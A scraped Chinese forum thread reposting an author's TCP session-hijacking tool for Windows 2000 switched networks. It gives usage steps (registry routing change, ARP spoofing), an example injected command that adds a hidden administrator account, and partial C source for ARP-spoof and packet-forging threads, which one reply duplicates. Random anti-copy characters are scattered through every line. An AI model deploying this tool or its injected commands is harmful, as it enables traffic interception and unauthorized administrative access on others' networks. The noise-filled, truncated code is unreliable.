QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4224|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表
9 `4 k% C( V! b2 y; _9 M; V* WHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 % L7 h+ y$ z1 C, B7 I2 W
第二步是ARP欺骗,具体原理我就不说了。 . k( I" b; b( Z% ~1 z0 `% |
第三步就是开始劫持啦。
9 M* L4 L0 q+ t6 s4 C$ z9 N
& G' l3 H% u! n4 g& ]( o我写了个程序xHijack可以实现第二、三步功能,使用如下: 9 R+ @: ^8 |2 `/ ?

9 f+ I0 d3 X# H( R: OUsage: xHijack ServerSide ClientSide 8 E" v6 O2 U, {. u5 `- Q+ m5 ^

9 j# K1 Q4 q9 W! [5 {下面根据三种不同的情况分别说明如何输入参数: , x, H% h& [) P* O' \- g9 f" y
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 ' W" I8 v) _/ u0 g6 q
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
4 B/ {! q3 ?, P& h. mc:\>xHijack 192.168.0.2 192.168.0.3
3 w, \1 p. w* a! l4 [劫持前数据流程:server <--> client
4 \/ q% V/ j: J5 ~6 v劫持后数据流程:server <--> hijacker <--> client
9 z7 O* _; ^2 T0 H6 n$ Z2 `7 P
! c5 S7 m* i0 r% ^. R4 j* Z  @<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 ; O0 U+ F7 k. u/ ~
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
" Q0 Z" {& P% p2 ?% m* P4 gxHijack 202.202.202.2 202.202.202.1 ( z/ g1 U  r, N7 V% V, c- [
劫持前数据流程:server <--> gw <--> routes <--> client
! }0 {% ?; i0 Z+ k( l% b$ U劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
- s3 V4 I3 L) ~$ v9 ?+ y! G# M. d/ K$ X
<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 / k# Q' X* w( \8 J7 d# x  H. w5 j
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
. S' [- I2 H' O8 [# YxHijack 192.168.0.1 192.168.0.2
8 X  l4 d$ Y5 [- b* k/ z劫持前数据流程:client <--> gw <--> routes <--> server ( a/ ]  W# N0 E; ~% p
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
# H0 ^) }( x1 V  m/ {$ s( |
0 M7 F; p8 D$ c  n! ?3 _" ?输入两个参数后,会提示你选择网卡,然后会提示
5 G; z" o, _5 dl        <-- List all connections $ m5 m+ ?( ^) x1 X6 Y- P0 s8 Y
r x       <-- Reset the number x connection   k; B# e3 A3 E% C
w x       <-- Watch the number x connection
7 s" B: O- K. s* Uh x command   <-- Hijack the number x connection to execute command
+ y- M# n3 h; E6 }+ Q+ ^
' P  F  Z4 M9 U2 N! Clist、reset、watch命令我就不解释了。 ! G8 i9 p- u0 ^8 A9 V1 N  f  O+ d" {6 B
假如现在有如下连接
: }$ U. W0 M& P(1) 202.202.202.202:23 <--> 192.168.0.3:2345
, K# \6 @3 r$ j我们想要劫持这个连接运行我们的命令,输入
" N9 E) X& b" Q$ [5 Y; |2 ~, l' LxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
2 i" N8 ^. t- g& w为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 : A# K( Y2 X. A+ k% N
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 # i" b+ s% d1 p5 h6 h4 R
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
" i1 ^9 F, s4 X" t6 h8 l5 F; G6 F& t3 V0 E6 x) x9 w1 f) b
劫持的流程如下: : o4 S: @9 u+ ^/ e3 ?) Y* u
<1>伪装成Server给Client发一个rst包 / Y8 ]0 {/ W  X9 ?& a$ u6 t: e
<2>伪装成Client给Server发了一个数据包
$ |) M  G/ z/ y# E, T% {<3>Server回一个ACK包给client
$ d/ f  W8 f) p3 D<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
; L6 }! o: ]7 m4 @; @
5 d+ n! L- r, Z, P& [. P6 y0 u. c/ J9 x这样的话,我们只能发一个伪造的包,但我想已经足够了。 , v! N* Q9 n& N
想要一直劫持那个连接也可以,如下
# b0 M# R6 b& G<1>伪装成Server给Client发一个rst包 7 m' B& s" O& [4 Z/ t* X$ b
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA ! T6 X, N3 G- c3 I% k/ e
<3>伪装成Client给Server发了一个数据包 2 `8 I- v. P$ r$ e/ h+ z+ }1 D
<4>Server回一个ACK包给client " |5 d# D; v6 l( e3 L/ X
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 ) m  ~1 G' M3 G5 z- V
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 - C# }5 _3 Q9 X

4 n8 C/ V: u: \! X不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
, o- m" n) E4 Y( ]9 i
: D& G( w- V' e2 E
& G0 c+ U4 |# h0 ?) |: r7 H刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 0 a, A3 K8 |: u1 N5 B2 g9 x# s
还请各位多多指点。
5 ~( Q1 Y& F; Y2 v
7 P, A& J# ?; t  J; ?BTW:我没有空间,编译好的程序没地方放:(
$ i0 z" {  `' }
: r( R( a' p2 v( k: O+ B3 ^  S* Z8 G/ B2 S  z. o
* A) E9 b% e- ^4 s- }  Q# l- W! @
参考资料
; G8 j- {/ x* w* n<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375   ^3 ]' g  C- b) z+ N5 v. c& v8 w
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
1 a+ s5 C5 I  h0 U- v% ]* H
0 f. I5 p/ u, W7 j+ f
/ w6 z4 z! B; }4 ]0 I以下是程序代码 * q' N" F: ^) C) W/ E4 B
---------------------------------------------------------------------- 6 S1 ]3 J  E% Z* t/ r
/*----------------------------------------------------------------------------- , {/ Z3 i7 {. O+ ?
File      : xHijack.c
& A& }4 r+ J0 pVersion      : 1.0 2 L6 ?! n7 v# D9 F; P5 I( z8 i
Create at    : 2002/8/12 5 L) }" r0 l7 m* m% a
Last modifed at  : 2002/8/19
- p; |' q" Z5 nAuthor      : eyas ( w* H+ |: E; p# G
Email      : ey4s@21cn.com 3 E& z9 g" `9 F1 @2 Z1 C  d
HomePage    : www.ey4s.org . h: F% g" E3 [$ F" T( O6 M" B
感谢refdom和shotgun发布的源代码,使我获益非浅。
0 i, z' \) O  J+ {3 jIf you modify the code, or add more functions, please email me a copy.
# @5 v* t( N: K9 {" P. V
4 ]5 z+ y; N& t2 e$ y7 i! V% U备注:
3 H: O( ?3 c3 g" j<>没有考虑IP头、TCP头超过20字节的情况 * h$ m0 y, ^6 Z, q! Q) l: m; i
<>没有考虑数据包分片的情况
' E& W% J0 V4 l3 t0 _& R3 P<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
  V; u" ]5 M$ q: t# J显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 : e; v$ W( i; O5 ?: q  s! `
题了。
* X& O) l( v$ X: z: @* R" w: x# c" I4 k4 g  E
也许下一版本会修正这些问题,也许不会有下一版本了。 ( p/ X" R! M6 J- x7 J2 ?
& S  h7 x$ k; k6 `6 h+ K
-----------------------------------------------------------------------------*/ * Y2 T: M7 M' y
#include 8 ]1 ~: s, |; x. P
#include
' U0 C7 O: n. k; u; n$ M' [% G#include
8 Z7 C" f$ s( ]: ~% I7 x/ k#include
1 N" `: k) X- _+ m$ S0 ~1 C) B; y8 [#include 2 z: n" Q# Q8 n& N
#include
- M% f4 f2 O' ]#include # t* X, n8 D9 |, |0 V/ W) x/ e
3 ^  S- C/ j; b$ t2 {
#pragma comment (lib, "packet") 8 i$ Q1 b0 J# ^; C- o0 z
#pragma comment (lib, "iphlpapi")   r# ~2 m* _  O2 T& E
#pragma comment (lib, "ws2_32") % |6 v' S6 e- B2 ?, C. m( H

4 [* H: K% E5 s: O. Z#define Max_Num_Adapter 10 $ v1 W$ k. L2 i6 G1 r4 [2 w! S+ Y
#define Max_Num_IPAddr  5
6 [# g3 z  _- E: |; H7 ?#define EPT_IP      0x0800      /* type: IP  */
1 ~2 B+ u! }/ L( h4 H, Y* F#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */ , {5 [' D+ U  @* w, }
#define EPT_ARP      0x0806      /* type: ARP */ # X7 q+ R* d3 |2 E& Z1 m1 ^
3 A* D- M9 t( ^% g2 D1 u
#define  ACTION_NONE    0
7 Q  J9 S6 s# Y) }# _#define  ACTION_WATCH  1 4 U" |% S4 M1 P$ u7 F
#define  ACTION_RESET  2 ) M6 \  }) F. O# L
#define ACTION_HIJACK  3
" [9 q! G' W& ~/ N: L7 y: L5 e4 @" E3 E8 [- C0 S7 m7 E3 C3 O
/*以1字节对齐*/
" m: @) T! H' J* c6 b0 F' P#pragma pack(1)
- {6 H" N1 P& K* p4 j; p; v# D1 ctypedef struct _ehhdr   V$ s! ~# S2 `+ j
{ * f# t+ n' c1 J7 c! D  E7 ]
  unsigned char  DestMAC[6]; - d3 `& L- O: C0 }
  unsigned char  SourceMAC[6]; . p8 |/ v6 X/ d" g! L
  unsigned short  EthernetType;
6 s# `* L: K. {" p6 ?. `) D}EHHDR, *PEHHDR; & z  l- E) _1 T
4 \" o+ ~+ b& D) ^' g) v$ @3 R
typedef struct _iphdr        //定义IP首部 * b# z8 j2 M8 x$ o9 ]
{
& F. V% R- x% z6 I5 j  unsigned char h_verlen;      //4位首部长度,4位IP版本号 4 h- Y$ q# W; h" o) g: `
  unsigned char tos;        //8位服务类型TOS - _9 U3 s# V  P' E
  unsigned short total_len;    //16位总长度(字节)
4 `3 U4 s7 b: ~: U% @  unsigned short ident;      //16位标识
7 i$ d. P8 a  m7 ^  unsigned short frag_and_flags;  //3位标志位
  g% \5 F& ]) m& u5 V% M  unsigned char ttl;        //8位生存时间 TTL 5 E% b9 i5 k/ }8 H$ X( ?8 i+ A7 e2 M
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) ) `0 d/ Y6 E3 R* M0 q" |
  unsigned short checksum;    //16位IP首部校验和
4 O9 H- V1 P3 v' j3 x) ^' V  unsigned int sourceIP;      //32位源IP地址
. e1 R, k- y2 @4 w( D  unsigned int destIP;      //32位目的IP地址
$ E, Y7 g' o0 Q, V! ?}IPHDR, *PIPHDR; ) B1 }# o! a7 r. o& D) b7 w
3 o& q) G" M+ @  Q4 S) Z6 Z1 n
typedef struct _tcphdr        //定义TCP首部
8 A* H! R' W& \. E, A6 D' @# l+ i{
3 i" V" ^4 b0 w9 w7 b  USHORT th_sport;        //16位源端口 : @2 h6 j- f$ }9 x: f( G7 a3 ~
  USHORT th_dport;        //16位目的端口 . i9 X7 ^9 F" m$ U3 J8 z
  unsigned int th_seq;      //32位序列号
# _3 n0 X6 I) H' f" @! F$ a! H  unsigned int th_ack;      //32位确认号 # ^9 F. P+ C; C6 r' G
  unsigned char th_lenres;    //4位首部长度/6位保留字
5 ~+ b: @9 u" u* h' w+ w  unsigned char th_flag;      //6位标志位 1 f6 u0 Y9 i3 D
  USHORT th_win;          //16位窗口大小
# S( Y- \( s" \: ^. J5 B' t0 z  USHORT th_sum;          //16位校验和 4 G* D- r. H9 O9 f, i/ m3 a! h. _2 d
  USHORT th_urp;          //16位紧急数据偏移量 ' u7 ~* z' V9 I% L0 {4 [
}TCPHDR, *PTCPHDR; 7 |$ Z5 q  y  m+ m' ]6 K1 o

% F% ^- `( V; |4 mtypedef struct _psdhdr        //定义TCP pseudo header ; i; F! |2 F7 W$ a3 E( q: n
{               
/ c) o4 _, V0 C3 L, ]! T  unsigned long saddr; ) ?( ?; h6 Q- C* g) T) V: R4 {
  unsigned long daddr; 1 x: }; q, j) d: s& j
  char mbz; 9 R( E. V/ r6 d3 k  R: s
  char ptcl;
) Z3 ?! G  n/ J  unsigned short tcpl; - K# m  H" Y( F0 L% [' n- p6 n
}PSDHDR, *PPSDHDR;
$ |' Z; J( o2 G9 K% x+ u0 R; g) ~, s( S6 d
typedef struct _arphdr
! v; L9 [) h  {+ o' P7 \7 W  O& ]{ % O1 ]5 ~' M; V% U
  unsigned short  HrdType;//硬件类型 5 S. E& U! B  g( _8 g
  unsigned short  ProType;//协议类型
  B2 r, L" `. ^  b9 w2 d  C  J  unsigned char  HrdAddrlen;//硬件地址长度 ( b( y/ g7 W/ m8 t0 S/ T8 \
  unsigned char  ProAddrLen;//协议地址长度 . v5 a1 R5 r1 ~: ]" m
  unsigned short  op;//operation , x7 c6 g7 Z3 f. q2 p5 K1 X, T
  unsigned char  SourceMAC[6];/* sender hardware address */
' R" I! w8 D5 H7 S  unsigned long  SourceIP;/* sender protocol address */ ; F7 W2 K8 T, k4 S* ~( O9 U& `
  unsigned char  DestMAC[6];/* target hardware address */
9 B5 o7 k( l# j$ D; [, q7 x3 k: W  unsigned long  DestIP;/* target protocol address */
  ^# |/ ?: L0 u" Z}ARPHDR, *PARPHDR;
7 e+ ?5 W+ r9 B8 q* `2 T
8 M& q4 a. e8 P: L+ i3 T: W  T$ b2 vtypedef struct _ArpPacket ' h7 d) m) u, {, N% a. Z; |& V# L+ K
{ % i& S  P2 Y: n3 q  y
  EHHDR  ehhdr; 8 p2 x: `! e& s. x
  ARPHDR  arphdr; 4 P5 i9 k& O. q  t
}ARPPACKET, *PARPPACKET; $ d. e7 n# N7 V1 r

" D7 r! w& }1 p7 Qtypedef struct _tcppacket 1 b! e8 k5 B" v
{
/ e3 I% K. m0 t" d( K1 y  EHHDR  ehhdr;
- x( g9 ^6 |% {- l1 u  IPHDR  iphdr; , N' b9 W$ ~: a3 L( w
  TCPHDR  tcphdr;
/ Z" G, \' l8 ]8 @+ L5 K/ _* b}TCPPACKET, *PTCPPACKET;
6 o3 P+ P; S  x' W& n- y8 @8 `  g. H1 L; T3 E- y; a
typedef struct _conninfo ) H5 |+ e* \9 C* V2 ]) K- Z
{   d/ g. i$ X, _1 ^' l/ {  I
  DWORD  dwServerIP;
" K+ C/ H* T: U. Q; G$ ~% s  USHORT  uServerPort; 5 g, Y8 V" ^8 j+ |
  DWORD  dwClientIP; 9 n$ c8 J% M( M& \1 N% a
  USHORT  uClientPort; : v9 O. @4 j- x9 P
  DWORD  ident;//标识 & J/ Z! F% E7 Q) \, m$ D9 i
  BOOL  bActive; 8 Q) L0 n3 M, s7 ?9 a6 ?: [
  struct  _conninfo  *Next;
0 W6 M% F$ \# L& ^}CONNINFO, *PCONNINFO; - c0 M* H( b' E; p9 x! e$ n" U4 x
+ L6 _7 N$ x+ x! b
//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
9 P9 Y4 P' Q( P& R        g_ClientSideIP, # o3 S# H+ G7 Z& e6 U
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 : A" l, y" U# g* i) S  F
        g_TotalIP = 0;// ! D' [7 s- M9 Z0 k% S4 C
unsigned char  g_szOwnMAC[6];//本机MAC地址
8 j& K, A5 b- T  P2 U3 x+ Junsigned char  g_szClientSideMAC[6];
$ I5 G/ O, A0 cunsigned char  g_szServerSideMAC[6];
# I2 X- M3 M* t4 Xchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 * @7 i) f( ~" _- D- @# H
LPADAPTER    g_lpAdapter;   |- d% s: ~: M+ K& n( D
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread # \# j, d1 E1 i) K1 q- T1 R
HANDLE      g_hThread[4]; - n8 U- w- _0 O% X% q
char      g_szCommand[128];//command to execute after hijack ' w- L* X- S9 s. f9 F
DWORD      g_dwAction;//action type
+ P2 }9 A/ i" n$ B' e2 wDWORD      g_dwCtrlConn;//action 所控制连接的标识 + W9 i0 ~" a3 a7 ?3 a  Z2 L* A
DWORD      g_ident;//节点标识,递增 ' u1 K8 B' M% |" [7 M
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针   U! |; [3 l3 F; a* a
        g_pConnHead = NULL, 2 S: X$ E5 }& ~8 U7 R, H1 Q
        g_pConnLast = NULL;
3 P, w' E) P1 J& a, Z0 Cchar      g_szSendPacketBuf[1514];   V+ D' Q1 |5 b( c2 Y: j0 T8 K
LPPACKET    g_lpSendPacket; + o" b, \- n. K  P) {1 @4 W8 ]5 U
//函数
+ k3 D' Y( j! Z; U, X7 evoid      usage(void); 6 d5 [3 X0 R) s& t
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 2 a2 J, V: D5 K* z
void      ListAllConnection();//列出当前所有的连接
, r, I4 V! l- \5 B; Xvoid      ResetActionAllFlag();
; L8 m6 l) g: i5 t$ w( g1 }USHORT      checksum(USHORT *, int);
( f/ \: D+ E, j1 nBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
4 F1 o9 l# E) }& r. Z0 B% X1 s9 gBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 ) Y/ I7 _# q( X" M% W. K$ g
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
9 s: n# Y% b$ kBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 # j( J: h9 _" F% [1 g/ E
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
4 P! c: W& p$ o5 a& Z+ U! FDWORD      GetConnNum(char *, DWORD, DWORD *); 0 y  _: J2 z5 x2 I
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
; X  x& Z* t, R) }; G! TDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 $ q2 U, G+ F6 {9 E/ c8 c2 A
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 ! @$ K6 J6 w7 N0 o0 i$ X. ]
DWORD  WINAPI  InterfaceThread(LPVOID);//   @& Z! u! A# d0 [( f+ n
BOOL  WINAPI  CtrlEvent(DWORD);
1 X3 `5 b# l, J# V- m
! Y) F3 [; q! S' Z7 W
# c1 e6 u) P( R1 A! y) q- e0 [' Z+ V8 a
int main(int argc, char **argv)
( I; z! V* f& ~& x: l( v{ 2 f: S9 l- {* b# ]
  struct    bpf_stat stat; 0 i5 T; B( D" T- r# q) f. a5 `/ @
  int      i; 2 j* T! d  X  e- A* _0 t7 c

0 ?7 R9 {( `2 [2 H  usage();
3 W0 k" \, @$ f6 I  if (argc != 3) return 0;
; I  m3 W! @: Y: e. ?! ^  //取得参数 0 F) b* x0 L8 `+ z+ `$ d9 c8 L! C
  g_ServerSideIP = inet_addr(argv[1]);
2 i5 O. }' M1 |  {/ |* Y$ ?  g_ClientSideIP = inet_addr(argv[2]); . H4 q- w5 w" c- L7 @. w. w" ]' q' G
  //初始化adapter & 一些全局变量 8 X# z0 {+ A" k; z  b
  g_lpAdapter = InitAdapter(); " F/ G$ Z! ~& I" z! g( d
  if(!g_lpAdapter) return 0;
0 U  y* k$ o* P3 q% O- d5 G, ?! U  @8 M  //get ServerSide MAC & ClientSide MAC
( \* r2 f% p, d- @( m7 C* ]& \  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
. U% D5 V: a& {5 I& W- ]  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
- d* m& v: g$ F  i  //create arp spoof thread     7 e  }. U5 X3 c* C
  i = 1;
! B, h/ e, o% s+ C+ T: |; Q  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
6 l) z3 i2 Y0 K/ M+ }* S  g$ ^  Sleep(500); % N4 H* e# _4 e) K& ]/ Q3 J
  i = 2;
1 G: l- a# W( i3 E+ a0 l  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
/ B6 u! y5 c' c9 N  //create analyse packet thread ! k/ `4 @1 _% @7 B& k
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
( _* @* q5 N: W5 o/ S7 P) e% y, |  //create interface thread
4 s0 s' z& k  n, M1 O  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
6 _5 h: q& v) a5 k; E0 s  //set console ctrl handle
2 B7 G- v- a# c9 j4 a7 P( `0 w  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ; `; L5 P0 [6 k
  {
, t% ?1 C( i6 a: h, I    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 9 j* ?- A& n4 q$ v8 I8 }
    return 0;
& h4 A  U% \; R  }
/ y  y) l; c1 I; T  //wait for any thread exit
; n* J- J* `2 r& s9 H6 K0 P' F  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
6 t+ t! A& E# e  C  //print the capture statistics
2 Q6 d6 y& ~& j# D. Z  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) ; k! {, f2 _( M+ N% h8 O4 [
    printf("Warning: unable to get stats from the kernel!\n"); 3 |7 {! J9 p7 {5 b: _% F
  else
) F* J/ @# d% q( y7 a$ F    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
: z8 }" i3 {1 q4 T0 f4 \8 e6 e& m  //free resource   * t! o/ Z! J* H! h7 e2 v+ S
  PacketFreePacket(g_lpSendPacket);
& A; S9 l& ]. \$ `3 e6 M5 Y  PacketCloseAdapter(g_lpAdapter); " o) |% }, u% m
  return 0;
& R3 H" V! u' M# i} 3 ]) p( M; \8 @1 W6 l3 w
7 Y8 [8 e7 o. Y& }, I6 M
// 3 T% |+ }: s% {- ^% ~1 k
//功能:重置所有于ACTION有关的标志
! `5 v* F! y+ t  c//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
$ p( @  @7 p6 r- K        g_ClientSideIP, - f: m4 Z0 i' R/ W# `+ V
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
# E! I7 G7 `$ V+ e: \: ~        g_TotalIP = 0;// ( ?' e9 g+ `7 D6 W, X
unsigned char  g_szOwnMAC[6];//本机MAC地址
6 u7 f6 s; @& qunsigned char  g_szClientSideMAC[6];
$ b; _- n$ C% E9 p& C& R( s- Cunsigned char  g_szServerSideMAC[6];
0 Z6 U+ ?( j& v. r" V' n. uchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
$ Q* ~* T! u! f# ^5 eLPADAPTER    g_lpAdapter;
' T  ^- h9 p  j1 W: X( {4 Q% ~' E//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
3 ?# I4 p' E* e( ~* o+ QHANDLE      g_hThread[4];
! g6 t" H* s8 G6 Kchar      g_szCommand[128];//command to execute after hijack 5 {* i# x/ u5 W) c- F/ c
DWORD      g_dwAction;//action type
" V& t6 W# q+ N: ?; @# V6 UDWORD      g_dwCtrlConn;//action 所控制连接的标识
5 L! }; Q$ C6 U9 a6 RDWORD      g_ident;//节点标识,递增
2 |$ }. P9 q# i  w# Z' IPCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
; O  s+ V  q, P        g_pConnHead = NULL, 5 v" i( F( e$ o0 j
        g_pConnLast = NULL; ! _  ?5 g0 G! Z8 Q7 c$ z* \3 }2 N
char      g_szSendPacketBuf[1514];
$ R: f0 I" r  z" b6 J1 i" z; ~LPPACKET    g_lpSendPacket;
" I: o; {0 \2 W4 w) h6 B8 |//函数 + s/ Q6 v5 T: w) }( B) e" A% {* y
void      usage(void);
0 \- `% u3 O- B1 H1 v8 Zvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
2 Q% u+ A1 C6 B) G. u; Mvoid      ListAllConnection();//列出当前所有的连接 ' P4 l1 _! B" s% b, i. ~- V) H, h4 w" _/ z
void      ResetActionAllFlag(); 6 b8 g0 Y8 f3 L" u
USHORT      checksum(USHORT *, int);
3 h9 `, _$ [7 S! B2 ~BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
3 V: ~) c& N8 `; Q- i' T9 f0 U3 MBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
* h  E0 A; z1 M$ q; L$ m' `LPADAPTER    InitAdapter();//初始化一些参数和全局变量
; |% ~( t: t% L  ^# y5 d& s  pBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
  a. P# ?' m# j3 ]( q7 ^BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
8 |6 \* ~  A6 b% u" vDWORD      GetConnNum(char *, DWORD, DWORD *);
* P2 ?' I2 }6 m) t+ }# {$ p. CDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL); 0 y, P  w8 H: ]! H; ^! B. F1 ~/ e, _
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 4 j; @' y4 [, g8 F: f
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
. Z" m1 x, u" H" Z6 R( RDWORD  WINAPI  InterfaceThread(LPVOID);// ) M! r) A2 L* G2 E; K- v. R
BOOL  WINAPI  CtrlEvent(DWORD);
3 j/ R% E# e% I' r" i. m# m7 n, C0 O( \$ p

/ l: X& t1 r4 f# r' O+ j
: R3 i: m6 `% u( J& Uint main(int argc, char **argv) ' Y, r) I, D# M5 s; `: P9 w
{ 0 v) y' a: A1 a" S
  struct    bpf_stat stat; ; Q' x! X) w2 H6 U0 h0 v& }
  int      i;
  C& p' x6 H9 T$ }. v4 D2 ~7 }8 W9 ?# C- r
  usage(); ; e$ \# E% ^  m" Z" M9 e4 W
  if (argc != 3) return 0;
6 N! Z9 d. o2 }) r% ]  //取得参数
5 E8 ]2 b" i4 P' N- z* @, `' x3 {+ x  g_ServerSideIP = inet_addr(argv[1]); 8 _* K/ B3 @: X. ~
  g_ClientSideIP = inet_addr(argv[2]); 6 g5 N. i: z; v1 v+ [
  //初始化adapter & 一些全局变量 ! K) d2 G9 N7 S/ ]  \& F6 ^
  g_lpAdapter = InitAdapter(); : D& A2 r7 I" f" R3 e$ B, y/ G$ j
  if(!g_lpAdapter) return 0;
  L8 h2 O0 h% v/ e' e" z: I  //get ServerSide MAC & ClientSide MAC 7 D! G! X( W* l) ^. @
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
$ L6 V& F2 l/ z& a" Q) w  n" d  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
; t8 m& B+ N) C5 G2 \/ I" l  //create arp spoof thread     " Q( O4 q6 v' [, v1 M
  i = 1; & [; v" _* d5 ^2 Q' F9 b5 f' }* j
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); % w+ m) a5 ?( X3 ?4 x0 s( x
  Sleep(500);
4 |$ x7 k/ F0 b2 }  i = 2; * W+ }5 \' }2 u( n
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  [5 [, b) _# p; u2 Q/ w  //create analyse packet thread , v2 _1 ~/ V# M
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
, \2 i2 p6 c) \7 ]. `3 t0 h  //create interface thread
5 P1 J4 _8 o6 ^& \# s" }4 H  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); + a. a, }3 |0 H7 |  \& Z: `1 @$ l
  //set console ctrl handle
+ _, r: b& y8 I  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) + c: \- m+ {- D: S" u# S
  {
: e$ J0 w$ X7 }! r8 u& S    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
9 j. Y0 X- d2 w0 a% z0 c0 h    return 0; ) v% R- q" q3 t# a
  } 9 I6 T5 Z5 ~8 w( F9 v' L4 F
  //wait for any thread exit
# W1 C# I5 T; u) K' n- t  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); $ ]5 a( [4 K0 n
  //print the capture statistics 4 q( J& B5 o5 u- T, s& o" ~/ S( ^& z( U
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
- J( y: N) B. Z8 v    printf("Warning: unable to get stats from the kernel!\n"); 6 i- d% j- d7 {4 F
  else
5 T( U) X3 y- S) v5 I    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
4 E7 g  ?! u- ~. U6 ?% a, r  //free resource   " B3 E0 f4 M: l$ Q' |' `
  PacketFreePacket(g_lpSendPacket); * p3 G! N* k9 T3 Q# D
  PacketCloseAdapter(g_lpAdapter); 5 Y* Q$ C  D+ L  Q/ {- P
  return 0;
7 k  f# u" Y1 E( p" a}
$ ]. N3 B& v) D# i+ K3 K7 C2 O& s8 m' J$ P. z4 \
// ! L1 q/ r/ H+ _0 {+ ]6 R  G+ |
